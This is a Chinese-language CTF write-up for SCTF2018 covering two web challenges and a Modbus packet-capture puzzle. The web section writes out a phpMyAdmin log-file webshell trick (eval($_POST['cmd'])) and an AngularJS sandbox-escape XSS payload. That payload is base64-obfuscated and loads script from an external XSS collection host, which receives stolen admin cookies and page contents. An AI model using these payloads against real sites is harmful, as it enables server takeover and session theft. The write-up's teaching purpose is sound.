SCTF2018 Writeup

    _____  _____ _______ ______ 
   / ____|/ ____|__   __|  ____|
  | (___ | |       | |  | |__   
   \___ \| |       | |  |  __|  
   ____) | |____   | |  | |     
  |_____/ \_____|  |_|  |_|     
                                
                                

 

 

__________WEB_____________

0x01 easiest web – phpMyAdmin

思路： 弱口令（root / root）登陆phpmyadmin，利用日志功能进行getshell

送分题，轻松一下

http://47.97.214.247:20001/phpmyadmin

Alternate address：

http://218.245.4.98:20000/phpmyadmin

 

 

开启日志，写入一句话

 

查询sql语句

eval($_POST['cmd']);?>

 

日志写入到网站路径下的dasdasdas.php文件

然后就getshell

http://218.245.4.98:20000/dasdasdad.php

密码：cmd

菜刀连接

 

 

在C盘发现flag

sctf{31cf2213cc49605a30f07395d6e5b9c4}

 

 

0x02  新的建议板

 解题思路：从前台发现留言板存在anjularjs的模板注入 ，js中发现api接口，发现需要另外一个管理员账号post带入访问密码才能获取到flag

 

师傅最近开始学前端 想写个建议板 后来失败了？

http://116.62.137.114:4879

 

Anjularjs的模板注入 

Payload: 

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(123)//');}} 

 用eval(atob("base64"))进行base64加密，绕过过滤

1.1 利用xss获取管理员后台地址

xss平台地址：

http://xsspt.com/aQCIrX?1529652200

 

使用getScript方法动态加载JS：

$.getScript('http://xsspt.com/aQCIrX?1529652200');  >>base64 >> JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20vYVFDSXJYPzE1Mjk2NTIyMDAnKTsK

 

eval(atob("JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20vYVFDSXJYPzE1Mjk2NTIyMDAnKTsK"));

 

在留言板输入下面Payload 可以打到管理员的后台地址和cookie：

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20vYVFDSXJYPzE1Mjk2NTIyMDAnKTsK\'));//');}}

 

 

location : http://127.0.0.1:1002/admin/suggest?suggest=%7B%7B'a'.constructor.prototype.charAt=[].join;$eval('x=1%7D%20%7D%20%7D;eval(atob(%5C'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20vYVFDSXJYPzE1Mjk2NTIyMDAnKTsK%5C'));//');%7D%7D%0D%0A

 

url解码：

location : http://127.0.0.1:1002/admin/suggest?suggest={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20vYVFDSXJYPzE1Mjk2NTIyMDAnKTsK\'));//');}}

 

可以发现后台地址在内网http://127.0.0.1:1002/admin/

 

1.2 利用Jquery获取后台页面源码

首先在xss平台新建模块如下所示：

代码：

$.ajax({
        url: "/admin",
        type: "GET",
        dataType: "text",
        success: function(result) {
            var code = btoa(encodeURIComponent(result));
            xssPost('http://xsspt.com/index.php?do=api&id=aQCIrX', code);
        },
        error: function(msg) {
    
        }
    })
    
    function xssPost(url, postStr) {
        var de;
        de = document.body.appendChild(document.createElement('iframe'));
        de.src = 'about:blank';
        de.height = 1;
        de.width = 1;
        de.contentDocument.write('
');
        de.contentDocument.forms[0].submit();
        de.style.display = 'none';
    }

　　此时获取后台的xss模块已经建立好，需要在原有模块上更新使用模块，默认是使用获取cookie的模块

 

然后再在留言板上输入payload：

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20vYVFDSXJYPzE1Mjk2NTIyMDAnKTsK\'));//');}}

 

 稍等片刻，即可获取到消息

复制code后面的base64代码：

code: JTNjIURPQ1RZUEUraHRtbCUzZSUwZCUwYSUzY2h0bWwrbGFuZyUzZCUyMnpoLUNOJTIyJTNlJTBkJTBhKyslM2NoZWFkJTNlJTBkJTBhKysrKyUzY21ldGErY2hhcnNldCUzZCUyMnV0Zi04JTIyJTNlJTBkJTBhKysrKyUzY21ldGEraHR0cC1lcXVpdiUzZCUyMlgtVUEtQ29tcGF0aWJsZSUyMitjb250ZW50JTNkJTIySUUlM2RlZGdlJTIyJTNlJTBkJTBhKysrKyUzY21ldGErbmFtZSUzZCUyMnZpZXdwb3J0JTIyK2NvbnRlbnQlM2QlMjJ3aWR0aCUzZGRldmljZS13aWR0aCUyYytpbml0aWFsLXNjYWxlJTNkMSUyMiUzZSUwZCUwYSsrKyslM2MhLS0rJWU0JWI4JThhJWU4JWJmJWIwMyVlNCViOCVhYW1ldGElZTYlYTAlODclZTclYWQlYmUqJWU1JWJmJTg1JWU5JWExJWJiKiVlNiU5NCViZSVlNSU5YyVhOCVlNiU5YyU4MCVlNSU4OSU4ZCVlOSU5ZCVhMiVlZiViYyU4YyVlNCViYiViYiVlNCViZCU5NSVlNSU4NSViNiVlNCViYiU5NiVlNSU4NiU4NSVlNSVhZSViOSVlOSU4MyViZColZTUlYmYlODUlZTklYTElYmIqJWU4JWI3JTlmJWU5JTlhJThmJWU1JTg1JWI2JWU1JTkwJThlJWVmJWJjJTgxKy0tJTNlJTBkJTBhKysrKyUzY21ldGErbmFtZSUzZCUyMmRlc2NyaXB0aW9uJTIyK2NvbnRlbnQlM2QlMjIlMjIlM2UlMGQlMGErKysrJTNjbWV0YStuYW1lJTNkJTIyYXV0aG9yJTIyK2NvbnRlbnQlM2QlMjIlMjIlM2UlMGQlMGErKysrJTNjbGluaytyZWwlM2QlMjJpY29uJTIyK2hyZWYlM2QlMjIlMjIlM2UlMGQlMGElMGQlMGErKysrJTNjdGl0bGUlM2VTWUMlM2MlMmZ0aXRsZSUzZSUwZCUwYSUwZCUwYSUwZCUwYSsrKyslM2NsaW5rK2hyZWYlM2QlMjJodHRwcyUzYSUyZiUyZmNkbi5ib290Y3NzLmNvbSUyZmJvb3RzdHJhcCUyZjMuMy43JTJmY3NzJTJmYm9vdHN0cmFwLm1pbi5jc3MlMjIrcmVsJTNkJTIyc3R5bGVzaGVldCUyMiUzZSUwZCUwYSsrKyslM2NsaW5rK2hyZWYlM2QlMjJjc3MlMmZpZTEwLXZpZXdwb3J0LWJ1Zy13b3JrYXJvdW5kLmNzcyUyMityZWwlM2QlMjJzdHlsZXNoZWV0JTIyJTNlJTBkJTBhKysrKyUzY2xpbmsraHJlZiUzZCUyMmNzcyUyZnN0YXJ0ZXItdGVtcGxhdGUuY3NzJTIyK3JlbCUzZCUyMnN0eWxlc2hlZXQlMjIlM2UlMGQlMGErKysrJTNjc3R5bGUrdHlwZSUzZCUyMnRleHQlMmZjc3MlMjIlM2UlMGQlMGErKysrKysrKysrYm9keSslN2IlMGQlMGErKysrKysrKysrKytwYWRkaW5nLXRvcCUzYSs2MHB4JTNiJTBkJTBhKysrKysrKysrKysrcGFkZGluZy1ib3R0b20lM2ErNDBweCUzYiUwZCUwYSsrKysrKysrKyslN2QlMGQlMGErKysrKysrKyUzYyUyZnN0eWxlJTNlJTBkJTBhJTBkJTBhKysrKyUzY3NjcmlwdCtzcmMlM2QlMjJodHRwcyUzYSUyZiUyZmNkbi5ib290Y3NzLmNvbSUyZmFuZ3VsYXIuanMlMmYxLjQuNiUyZmFuZ3VsYXIubWluLmpzJTIyJTNlJTNjJTJmc2NyaXB0JTNlJTBkJTBhKysrKyUzY3NjcmlwdCtzcmMlM2QlMjJodHRwcyUzYSUyZiUyZmFwcHMuYmRpbWcuY29tJTJmbGlicyUyZmFuZ3VsYXItcm91dGUlMmYxLjMuMTMlMmZhbmd1bGFyLXJvdXRlLmpzJTIyJTNlJTNjJTJmc2NyaXB0JTNlJTBkJTBhKysrKyUzY3NjcmlwdCtzcmMlM2QlMjJqcyUyZmllLWVtdWxhdGlvbi1tb2Rlcy13YXJuaW5nLmpzJTIyJTNlJTNjJTJmc2NyaXB0JTNlJTBkJTBhJTBkJTBhKyslM2MlMmZoZWFkJTNlJTBkJTBhJTBkJTBhKyslM2Nib2R5KyUzZSUwZCUwYSUwZCUwYSsrKyslM2NuYXYrY2xhc3MlM2QlMjJuYXZiYXIrbmF2YmFyLWludmVyc2UrbmF2YmFyLWZpeGVkLXRvcCUyMiUzZSUwZCUwYSsrKysrKyUzY2RpditjbGFzcyUzZCUyMmNvbnRhaW5lciUyMiUzZSUwZCUwYSsrKysrKysrJTNjZGl2K2NsYXNzJTNkJTIybmF2YmFyLWhlYWRlciUyMiUzZSUwZCUwYSsrKysrKysrKyslM2NidXR0b24rdHlwZSUzZCUyMmJ1dHRvbiUyMitjbGFzcyUzZCUyMm5hdmJhci10b2dnbGUrY29sbGFwc2VkJTIyK2RhdGEtdG9nZ2xlJTNkJTIyY29sbGFwc2UlMjIrZGF0YS10YXJnZXQlM2QlMjIlMjNuYXZiYXIlMjIrYXJpYS1leHBhbmRlZCUzZCUyMmZhbHNlJTIyK2FyaWEtY29udHJvbHMlM2QlMjJuYXZiYXIlMjIlM2UlMGQlMGErKysrKysrKysrKyslM2NzcGFuK2NsYXNzJTNkJTIyc3Itb25seSUyMiUzZVRvZ2dsZStuYXZpZ2F0aW9uJTNjJTJmc3BhbiUzZSUwZCUwYSsrKysrKysrKysrKyUzY3NwYW4rY2xhc3MlM2QlMjJpY29uLWJhciUyMiUzZSUzYyUyZnNwYW4lM2UlMGQlMGErKysrKysrKysrKyslM2NzcGFuK2NsYXNzJTNkJTIyaWNvbi1iYXIlMjIlM2UlM2MlMmZzcGFuJTNlJTBkJTBhKysrKysrKysrKysrJTNjc3BhbitjbGFzcyUzZCUyMmljb24tYmFyJTIyJTNlJTNjJTJmc3BhbiUzZSUwZCUwYSsrKysrKysrKyslM2MlMmZidXR0b24lM2UlMGQlMGErKysrKysrKysrJTNjYStjbGFzcyUzZCUyMm5hdmJhci1icmFuZCUyMitocmVmJTNkJTIyJTJmJTIyJTNlU1lDK0FETUlOJTNjJTJmYSUzZSUwZCUwYSsrKysrKysrJTNjJTJmZGl2JTNlJTBkJTBhKysrKysrKyslM2NkaXYraWQlM2QlMjJuYXZiYXIlMjIrY2xhc3MlM2QlMjJjb2xsYXBzZStuYXZiYXItY29sbGFwc2UlMjIlM2UlMGQlMGErKysrKysrKysrJTNjdWwrY2xhc3MlM2QlMjJuYXYrbmF2YmFyLW5hdiUyMiUzZSUwZCUwYSsrKysrKysrKysrKyUzY2xpK2NsYXNzJTNkJTIyYWN0aXZlJTIyJTNlJTNjYStocmVmJTNkJTIyJTIzJTIyJTNlSG9tZSUzYyUyZmElM2UlM2MlMmZsaSUzZSUwZCUwYSsrKysrKysrKysrKyUzY2xpJTNlJTNjYStocmVmJTNkJTIyJTIzJTIyJTNlJWU2JTk3JWE1JWU1JWJmJTk3JTNjJTJmYSUzZSUzYyUyZmxpJTNlJTBkJTBhKysrKysrKysrKysrJTNjbGklM2UlM2NhK2hyZWYlM2QlMjIlMjMlMjIlM2UlZTglYjQlYTYlZTUlOGQlOTUlM2MlMmZhJTNlJTNjJTJmbGklM2UlMGQlMGErKysrKysrKysrKyslM2NsaSUzZSUzY2EraHJlZiUzZCUyMmFkbWluJTJmZmlsZSUyMiUzZSVlNiU5NiU4NyVlNCViYiViNiUzYyUyZmElM2UlM2MlMmZsaSUzZSUwZCUwYSsrKysrKysrKysrKyUzY2xpJTNlJTNjYStocmVmJTNkJTIyYWRtaW4lMmZzdWdnZXN0JTIyJTNlJWU3JTk1JTk5JWU4JWE4JTgwJTNjJTJmYSUzZSUzYyUyZmxpJTNlJTBkJTBhKysrKysrKysrKysrJTNjbGklM2UlM2NhK2hyZWYlM2QlMjIlMjMlMjIlM2UlZTUlOGYlOTElZTUlYjglODMlM2MlMmZhJTNlJTNjJTJmbGklM2UlMGQlMGErKysrKysrKysrJTNjJTJmdWwlM2UlMGQlMGErKysrKysrKyUzYyUyZmRpdiUzZSUwZCUwYSsrKysrKyUzYyUyZmRpdiUzZSUwZCUwYSsrKyslM2MlMmZuYXYlM2UlMGQlMGElMGQlMGElMGQlMGElM2NkaXYrY2xhc3MlM2QlMjJjb250YWluZXIlMjIlM2UlMGQlMGErKyUzY2RpditjbGFzcyUzZCUyMmp1bWJvdHJvbiUyMiUzZSUwZCUwYSsrKysrKysrJTNjaDElM2VIRUxMTythZG1pbkNsb3VuZCUzYyUyZmgxJTNlJTBkJTBhKysrKysrKyslM2NwJTNlJWU2JTk2JWIwJWU3JTg5JTg4JWU1JTkwJThlJWU1JThmJWIwMi4wISUzYyUyZnAlM2UlMGQlMGErKyUzYyUyZmRpdiUzZSUwZCUwYSUzYyUyZmRpdiUzZSUwZCUwYSUwZCUwYSUwZCUwYSsrKyslM2MhLS0rQm9vdHN0cmFwK2NvcmUrSmF2YVNjcmlwdCUwZCUwYSUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCUzZCstLSUzZSUwZCUwYSUzYyEtLStQbGFjZWQrYXQrdGhlK2VuZCtvZit0aGUrZG9jdW1lbnQrc28rdGhlK3BhZ2VzK2xvYWQrZmFzdGVyKy0tJTNlJTBkJTBhJTNjc2NyaXB0K3NyYyUzZCUyMmh0dHBzJTNhJTJmJTJmY2RuLmJvb3Rjc3MuY29tJTJmanF1ZXJ5JTJmMS4xMi40JTJmanF1ZXJ5Lm1pbi5qcyUyMiUzZSUzYyUyZnNjcmlwdCUzZSUwZCUwYSUzY3NjcmlwdCtzcmMlM2QlMjJodHRwcyUzYSUyZiUyZmNkbi5ib290Y3NzLmNvbSUyZmJvb3RzdHJhcCUyZjMuMy43JTJmanMlMmZib290c3RyYXAubWluLmpzJTIyJTNlJTNjJTJmc2NyaXB0JTNlJTBkJTBhJTNjIS0tK0lFMTArdmlld3BvcnQraGFjaytmb3IrU3VyZmFjZSUyZmRlc2t0b3ArV2luZG93cys4K2J1ZystLSUzZSUwZCUwYSUzY3NjcmlwdCtzcmMlM2QlMjJqcyUyZmllMTAtdmlld3BvcnQtYnVnLXdvcmthcm91bmQuanMlMjIlM2UlM2MlMmZzY3JpcHQlM2UlMGQlMGElMGQlMGElM2MlMmZib2R5JTNlJTBkJTBhJTNjJTJmaHRtbCUzZSUwZCUwYSUwZCUwYQ==

保存在admin.txt

利用pentestbox进行base64解码

> cat admin.txt |base64 -d

再次进行url解码

 

解码结果保存在admiin.html

DOCTYPE html>
<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    
    <meta name="description" content="">
    <meta name="author" content="">
    <link rel="icon" href="">

    <title>SYCtitle>


    <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
    <link href="css/ie10-viewport-bug-workaround.css" rel="stylesheet">
    <link href="css/starter-template.css" rel="stylesheet">
    <style type="text/css">
          body {
            padding-top: 60px;
            padding-bottom: 40px;
          }
        style>

    <script src="https://cdn.bootcss.com/angular.js/1.4.6/angular.min.js">script>
    <script src="https://apps.bdimg.com/libs/angular-route/1.3.13/angular-route.js">script>
    <script src="js/ie-emulation-modes-warning.js">script>

  head>

  <body >

    <nav class="navbar navbar-inverse navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
            <span class="sr-only">Toggle navigationspan>
            <span class="icon-bar">span>
            <span class="icon-bar">span>
            <span class="icon-bar">span>
          button>
          <a class="navbar-brand" href="/">SYC ADMINa>
        div>
        <div id="navbar" class="collapse navbar-collapse">
          <ul class="nav navbar-nav">
            <li class="active"><a href="#">Homea>li>
            <li><a href="#">日志a>li>
            <li><a href="#">账单a>li>
            <li><a href="admin/file">文件a>li>
            <li><a href="admin/suggest">留言a>li>
            <li><a href="#">发布a>li>
          ul>
        div>
      div>
    nav>


<div class="container">
  <div class="jumbotron">
        <h1>HELLO adminCloundh1>
        <p>新版后台2.0!p>
  div>
div>


    

<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js">script>
<script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js">script>

<script src="js/ie10-viewport-bug-workaround.js">script>

body>
html>

 

发现管理员账号： adminClound

 

1.3 利用js api接口，找到文件密码

在一开始的首页里有个 min-test.js ，这里泄露了admin模板文件view/admintest2313.html，在这个模板中发现一个备忘录的接口

替换成管理员账号，访问 http://116.62.137.114:4879/api/memos/adminClound

得到文件访问密码

 

拿到文件密码后，构造包访问 /admin/file页面和上面获取admin页面一样

DOCTYPE html>
<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    
    <meta name="description" content="">
    <meta name="author" content="">
    <link rel="icon" href="">

    <title>SYCtitle>


    <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
    <link href="css/ie10-viewport-bug-workaround.css" rel="stylesheet">
    <link href="css/starter-template.css" rel="stylesheet">
    <style type="text/css">
          body {
            padding-top: 60px;
            padding-bottom: 40px;
          }
        style>

    <script src="https://cdn.bootcss.com/angular.js/1.4.6/angular.min.js">script>
    <script src="https://apps.bdimg.com/libs/angular-route/1.3.13/angular-route.js">script>
    <script src="js/ie-emulation-modes-warning.js">script>

  head>

  <body >

    <nav class="navbar navbar-inverse navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
            <span class="sr-only">Toggle navigationspan>
            <span class="icon-bar">span>
            <span class="icon-bar">span>
            <span class="icon-bar">span>
          button>
          <a class="navbar-brand" href="/">SYC ADMINa>
        div>
        <div id="navbar" class="collapse navbar-collapse">
          <ul class="nav navbar-nav">
            <li class="active"><a href="#">Homea>li>
            <li><a href="#">日志a>li>
            <li><a href="#">账单a>li>
            <li><a href="admin/file">文件a>li>
            <li><a href="admin/suggest">留言a>li>
            <li><a href="#">发布a>li>
          ul>
        div>
      div>
    nav>


<div class="container">
  <form method="post">
    <label for="filePasswd" class="sr-only">输入文件密码label>
    <input type="text" id="filePasswd" class="form-control" placeholder="filepasswd" required="" autofocus="" name="filepasswd">
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交button>
  form>
div>



<script src="https://cdn.bootcss.com/jquery/1.12.4/jquery.min.js">script>
<script src="https://cdn.bootcss.com/bootstrap/3.3.7/js/bootstrap.min.js">script>

<script src="js/ie10-viewport-bug-workaround.js">script>

body>
html>

 

 

 

1.4 输入文件密码，获取flag

同样需要在xss平台设置模块，并引用该模块

$.ajax({
        url: "/admin/file",
        type: "POST",
        dataType: "text",
        data: "filepasswd=HGf^%2639NsslUIf^23",
        success: function(result) {
            var code = btoa(encodeURIComponent(result));
            xssPost('http://xsspt.com/index.php?do=api&id=aQCIrX', code);
        },
        error: function(msg) {
    
        }
    })
    
    function xssPost(url, postStr) {
        var de;
        de = document.body.appendChild(document.createElement('iframe'));
        de.src = 'about:blank';
        de.height = 1;
        de.width = 1;
        de.contentDocument.write('
');
        de.contentDocument.forms[0].submit();
        de.style.display = 'none';
    }

留言板再次提交payload

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20vYVFDSXJYPzE1Mjk2NTIyMDAnKTsK\'));//');}}

稍等片刻即可，查看xss平台

code : c2N0ZiU3QlQ0aXNfaXNfZjFhZzIzMTMlN0Q=

base64解码后再url解码

sctf{T4is_is_f1ag2313}

________________MiSC ________________

0x03  神奇的Modbus

思路：根据题目Modbus，只要过滤Modbus协议，跟随tcp流就可以找到flag

寻找flag
附件： http://sctf2018.xctf.org.cn/media/task/c7348d96-947d-48ef-a91d-2b3eb647d9a9.zip

下载附件，解压，用wireshark分析

 

过滤之前：

过滤之后：

跟随第一个tcp 流

找到flag

sctf{Easy_Mdbus}

提交答案发现不对

尝试加个o，提交正确

sctf{Easy_Modbus}

 

转载于:https://www.cnblogs.com/Jas502n/p/9228589.html